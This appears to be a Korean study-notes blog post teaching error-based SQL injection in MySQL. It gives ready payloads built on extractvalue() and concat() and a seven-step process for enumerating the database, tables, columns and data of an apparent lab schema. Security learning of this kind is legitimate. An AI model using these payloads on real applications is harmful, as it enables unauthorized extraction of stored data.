앞서 봤던 union sqli과 마찬가지로, Error Based SQL Injection도 Query의 결과가 화면에 보이는 경우 이를 활용하여 서버의 데이터를 추출할 수 있다.

 

상황별 공격 방식

1) SQL 질의 결과가 화면에 출력될 경우 : union sqli

2) Error가 출력될 경우 : Error Based SQL Injection

(에러 메시지를 활용해서 데이터를 출력한다.)

 

의도적으로 에러를 발생시키고, 거기서 나오는 에러 메시지에 내가 원하는 데이터를 포함 시켜 추출한다.

 

에러 메시지를 활용할 수 있는 조건

Syntax Error vs Logic Error

 

Syntax Error : 작성한 SQL 문법 자체가 틀려서, 실행 되기 전에 에러가 나버린다. 따라서 이 에러는 쓸모가 없다.

Logic Error : 실행되는 와중에 문제를 일으켜 발생한 에러이다. 의미 있는 에러이다!

 

기본적으로 데이터를 추출하기 위해선

1. select 문을 실행해야한다.

2. 실행하기 위해선 삽입한 SQL 질의문이 실행 되어야 한다.

 

DB마다 Logic Error를 유발하는 방법이 다르다.

따라서 어떤 DB인지 확인 후 그에 맞게 진행한다.

(mysql, cracle, mssql 등등..)

 


 

공격 format

normaltic' and extractvalue('1', concat(0x3a, (SELECT문))) and '1' ='1

 

 

[함수 설명]

extractvalue('xml 글자', 'xpath 표현식') 함수
: xml의 데이터를 추출하는 함수로, 인자를 두 가지 받는다.

 

예) 

/a : a라는 태그를 가져와줘.

MYSQL - extractvalue('1',':nomaltic')
':normaltic 이 글자는 xml 표현식이 아니에요~'라고 화면에 뜬다.

두 번째 인자인 파란 글씨 부분에 select문을 쓰고 싶다면, 글자 앞에 : 같은 특수문자(규칙에 어긋난 값)를 넣어야 제대로 에러가 발생한다.

이걸 위해 아래의 concat() 함수를 사용한다.

 

concat()

: 연결해주는 것.

 

예)

concat('1','2') => 12

concat('hello','test') -> hellotest
concat(:,'test') -> concat(0x3a, 'test') -> :test

 


 

Error Based SQL Injection Process

1. SQL Injection Point 찾기
2. 에러 출력 함수 선택

3. 공격 format 만들기

4. DB 이름 확인
5. Table 이름 확인
6. Column 이름 확인
7. Data 추출

 


 

1. SQL Injection Point 찾기

 Syntax Error 여부 확인

 

2. 에러 출력 함수 선택

extractvalue

 

3. 공격 format 만들기

normaltic' and extractvalue('1', concat(0x3a, (select 'normaltic'))) and '1' ='1
normaltic' and extractvalue('1', concat(0x3a, (            ))) and '1' ='1

 

4. DB 이름 확인

select database()

normaltic' and extractvalue('1', concat(0x3a, (select database()))) and '1' ='1


5. Table 이름 확인

select table_name from information_schema.tables where table_schema='segfault_sql'

 

행이 여러개인 경우 limit를 사용한다.

 

첫번째 테이블 : select table_name from information_schema.tables where table_schema='segfault_sql' limit 0,1

두번째 테이블 : 

select table_name from information_schema.tables where table_schema='segfault_sql' limit 1,1

...


6. Column 이름 확인

select column_name from information_schema.columns where table_name = 'game' limit 0,1

...


7. Data 추출

game 테이블에 있는 name 칼럼 출력 예시 :

normaltic' and extractvalue('1', concat(0x3a, (select name from game limit 0,1))) and '1' ='1

 

 

 

 

 

 

 

+ Recent posts